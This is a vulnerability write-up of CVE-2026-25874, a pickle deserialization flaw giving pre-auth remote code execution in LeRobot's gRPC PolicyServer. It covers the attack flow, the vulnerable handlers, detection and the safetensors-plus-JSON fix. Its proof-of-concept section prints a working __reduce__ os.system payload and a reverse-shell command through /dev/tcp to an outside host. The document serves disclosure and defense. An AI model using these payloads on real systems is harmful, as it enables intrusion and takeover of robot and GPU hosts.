LeRobot is Hugging Face’s open-source robotics framework — the same project that ships Stable-Baselines-style RL primitives, real-robot data loaders, and a transformers-style hub of pretrained robot policies. Among its features is an async inference pipeline that splits a policy network into a client–server pair: a RobotClient running on the physical robot streams observations to a PolicyServer running on a separate GPU host, and the server streams actions back. The transport is gRPC.
CVE-2026-25874 is the inevitable consequence of building that transport on top of pickle.loads(). Three of the four AsyncInference RPC handlers shuffle Python objects across the gRPC channel as raw pickle bytes; two of them feed those bytes straight into pickle.loads() with a # nosec marker that explicitly tells Bandit “trust me, this is fine”. It isn’t. The gRPC channel is unauthenticated and unwrapped by default, so any TCP-reachable attacker hits the same code path the legitimate robot does — except their pickle is armed with __reduce__, and pickle.loads() returns after running os.system(cmd) on the server.
The irony — repeated in every advisory write-up of this CVE — is that Hugging Face is the organisation that wrote safetensors explicitly to solve “the pickle problem” for ML model files. Their own README says, in bold, “do not load pickle files from untrusted sources”. The fix (PR #3048) is precisely that — replace pickle with safetensors + JSON.
What is LeRobot?
its learning library, scoped to “datasets, models, and tools for real-world robotics”. Its async_inference subpackage lets the policy and the robot run on different machines — a common topology when the policy needs a GPU the robot can’t carry. The PolicyServer listens on TCP/50051 by default and speaks the transport.AsyncInference gRPC service defined in
Attack Flow

- Attacker reaches TCP/50051 on the LeRobot GPU host (no auth, no TLS).
- Attacker speaks transport.AsyncInference.SendPolicyInstructions with a PolicySetup whose data field holds a pickle payload whose __reduce__ returns (os.system, (“<cmd>”,)).
- Inside the RPC handler at src/lerobot/async_inference/policy_server.py:127, the server runs pickle.loads(request.data). __reduce__ fires, the command executes, and pickle.loads() returns an int (the return code of os.system).
- The server then tries to treat that int as a RemotePolicyConfig object — there’s an explicit isinstance(…) check at line 129 that raises TypeError — and returns an INTERNAL gRPC error to the attacker. The command has already run.
PoC (Proof of Concept)
Step 1 — Demonstrate the Primitive Locally
The base primitive is a one-class pickle:
import os, pickle
class Pwn:
def __reduce__(self):
return (os.system, ("id > /tmp/pwned_lerobot",))
payload = pickle.dumps(Pwn())
print(f"payload size: {len(payload)} bytes")
pickle.loads(payload) # ← runs the command, then returns 0
Run that locally, and /tmp/pwned_lerobot appears. No special protocol framing yet — this is just pickle.loads() doing what pickle.loads() does.
Step 2 — Send the Payload Over gRPC

The attacker doesn’t need lerobot installed — only grpcio and a minimal services.proto that defines transport.AsyncInference.SendPolicyInstructions with the matching message shape (PolicySetup { bytes data = 1; }). gRPC will dispatch the call to the right handler purely by route name; the server does the rest.
Step 3 — Verify Code Execution

docker exec lerobot-vuln cat /tmp/pwned_lerobot
# uid=0(root) gid=0(root) groups=0(root)
Step 4 — Reverse Shell Variant
python3 exploit.py -t localhost \
-c "bash -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1'"
There is no protocol-level mitigation that gets in the way: the gadget runs before the handler ever inspects what pickle.loads() returned.
Static Analysis
pickle Is Not Serialization — It Is a Bytecode VM
Pickle’s binary format is a stack-machine opcode stream. Opcodes like REDUCE, BUILD, and INST invoke arbitrary callables with arbitrary arguments — pickle.loads() is, in effect, an interpreter for a small language with access to the entire Python runtime. The CPython docs say so explicitly:
Warning: The pickle module is not secure. Only unpickle data you trust.
__reduce__ is the canonical primitive: any class whose __reduce__ returns (callable, args) is, on unpickle, equivalent to callable(*args). There is no “safe pickle”. There is only “pickle that happened to receive trusted data”.
The Vulnerable RPC Handlers
The vulnerable file is src/lerobot/async_inference/policy_server.py at tag v0.4.3. Three handlers touch pickle; two read attacker-controlled bytes. The servicer class itself is declared at line 66.

SendPolicyInstructions — line 127 (the most direct path)
request is a transport.PolicySetup message. Its single field is bytes data = 1;. The handler reads the bytes verbatim and pickle-loads them before running the isinstance(…) validator on line 129 — the order matters: the validator only sees the object that pickle already constructed, and constructing the object is where __reduce__ runs. The # nosec annotation suppresses Bandit’s B301 warning (“Pickle and modules that wrap it can be unsafe when used to deserialize untrusted data”).
SendObservations — line 185 (chunked-reassembly path)
This is a client-streaming RPC: the attacker can split the pickle across many Observation messages, each tagged with a TransferState enum value (TRANSFER_BEGIN, TRANSFER_MIDDLE, TRANSFER_END). The receive_bytes_in_chunks helper from lerobot.transport.utils reassembles the stream. Useful for oversized payloads — gRPC has a default 4 MiB inbound message size, but a streaming RPC can accumulate well past that.
GetActions — line 238 (write-only, attacker-flipped direction)
# src/lerobot/async_inference/policy_server.py:216-242
def GetActions(self, request, context): # noqa: N802
"""Returns actions to the robot client. Actions are sent as a single
chunk, containing multiple actions."""
...
action_chunk = self._predict_action_chunk(obs)
...
actions_bytes = pickle.dumps(action_chunk) # nosec <-- line 238
...
actions = services_pb2.Actions(data=actions_bytes)
This handler does not read attacker input — it pickles server-side action_chunk objects and ships them to the robot client. So a malicious PolicyServer (or a compromised one) can pivot to RCE against any robot client that calls pickle.loads(actions_chunk.data) (which RobotClient does, see robot_client.py). The CVE is bidirectional.
The gRPC Service Definition
The proto lives at src/lerobot/transport/services.proto:
syntax = "proto3";
package transport;
service AsyncInference {
rpc Ready (Empty) returns (Empty);
rpc SendPolicyInstructions (PolicySetup) returns (Empty);
rpc SendObservations (stream Observation) returns (Empty);
rpc GetActions (Empty) returns (Actions);
}
message Empty {}
message PolicySetup { bytes data = 1; }
message Observation { TransferState transfer_state = 1; bytes data = 2; }
message Actions { bytes data = 1; }
Note that PolicySetup.data is field 1, while Observation.data is field 2 (preceded by a TransferState enum at field 1). An exploit aimed at SendObservations needs a proto that places data at field 2 — getting this wrong is a common cause of “the exploit doesn’t work but the server log shows no error”.
gRPC ≠ Authentication
The mistake that scales this from a code-quality issue into a CVE is the assumption that gRPC implies authentication. It does not. gRPC supports mTLS and token-based auth, but only when the application opts in. LeRobot 0.4.3 registers the servicer and binds the listener with no transport credentials at all (policy_server.py:429-430):
# policy_server.py:429-430
services_pb2_grpc.add_AsyncInferenceServicer_to_server(policy_server, server)
server.add_insecure_port(f"{cfg.host}:{cfg.port}")
add_insecure_port does exactly what it says. The default deployment topology has the robot and the policy server on the same Tailscale net or the same VPC, with the implicit assumption that the network is trusted. As soon as PolicyServer’s port is exposed to a network with any untrusted actor on it, that assumption fails open.
The # nosec Pattern as a Smell
Every pickle call in the vulnerable file is followed by # nosec:
policy_specs = pickle.loads(request.data) # nosec
Bandit’s B301 rule exists precisely to find these. A # nosec annotation silences the linter but does not silence the runtime. The presence of # nosec next to a pickle.loads() of network-controlled data is, in 2026, a strong static signal that someone knew the linter was complaining and chose to suppress the complaint rather than fix it. (For defenders auditing LeRobot-shaped codebases: grep for the pair pickle.loads + # nosec in the same line.)
Detection — Static and Runtime
- Static: grep -rn “pickle.loads” –include=”*.py” across any network-facing Python service. Any match on request.data, body, payload, or any name that traces back to a request input is a finding.
- Runtime / network: TCP connections to :50051 that the legitimate robot client should not be making. The first-bytes signature of HTTP/2 (PRI * HTTP/2.0…) followed by gRPC framing is the signal a gRPC service is talking.
- Process model: an unusual child of the LeRobot interpreter (sh, bash, python, anything not a CUDA worker) under the PolicyServer’s process tree.
Patch Diffing
The Fix in PR #3048 — Drop pickle Entirely
PR #3048 — “Fix: Replace unsafe pickle with safetensors + JSON in async inference” — is the upstream fix. It is not a sanitiser, not an allow-list, not a wrapper. It deletes pickle from the async-inference transport and substitutes a typed schema: safetensors for tensors and JSON for everything else.
Files changed:
- src/lerobot/async_inference/policy_server.py — modified
- src/lerobot/async_inference/robot_client.py — modified
- src/lerobot/async_inference/safe_serialization.py — added
- tests/async_inference/test_safe_serialization.py — modified
policy_server.py — Before
# v0.4.3
import pickle # nosec (line 28)
...
policy_specs = pickle.loads(request.data) # nosec (line 127)
...
timed_observation = pickle.loads(received_bytes) # nosec (line 185)
...
actions_bytes = pickle.dumps(action_chunk) # nosec (line 238)
policy_server.py — After

The New safe_serialization.py
The added module exposes five functions:
def deserialize_policy_config(data: bytes) -> RemotePolicyConfig: ...
def deserialize_observation(data: bytes) -> TimedObservation: ...
def serialize_actions(actions: list[TimedAction]) -> bytes: ...
def _pack(metadata: dict[str, Any], tensors: dict[str, torch.Tensor] | None = None) -> bytes: ...
def _unpack(data: bytes, expected_type: str | None = None) -> tuple[dict[str, Any], dict[str, torch.Tensor]]: ...
The _pack / _unpack helpers are the actual wire format: JSON for metadata, safetensors for any torch.Tensor fields, and a small framing envelope that pairs the two. Critically, _unpack takes an expected_type parameter — the wire format carries a type tag that the deserialiser validates against an expected value. That’s a typed schema with explicit input validation; a pickle has neither.
Why This Fix Works
Three independent reasons, each of which would have stopped the CVE on its own:
- No opcode interpreter. safetensors and JSON have no REDUCE-equivalent. There is no “execute arbitrary callable” primitive in either format.
- Typed schema. Every field that comes off the wire is known to be one of: a JSON value, a tensor with a declared dtype and shape, or absent. Type confusion that lets attacker bytes reach a sensitive sink (the pattern behind every CVE in this series) is structurally impossible.
- expected_type validation. Even if a parser bug existed, the _unpack envelope rejects messages whose declared type doesn’t match the caller’s expectation. A PolicySetup blob shoved into the Observation handler is rejected by the deserialiser, not by the handler.
Conclusion
Any LeRobot deployment running 0.4.3 (or earlier with async_inference) on a network where attackers can reach TCP/50051 is pre-auth RCE-able with a single gRPC call. The population includes: research clusters with shared GPU pools, multi-machine training topologies, demo notebooks left running, and — most concerningly — cloud-hosted LeRobot deployments where the operator did not realise gRPC was exposed by default. Bidirectional: a malicious PolicyServer can also RCE every connecting RobotClient.
Resources
https://nvd.nist.gov/vuln/detail/CVE-2026-25874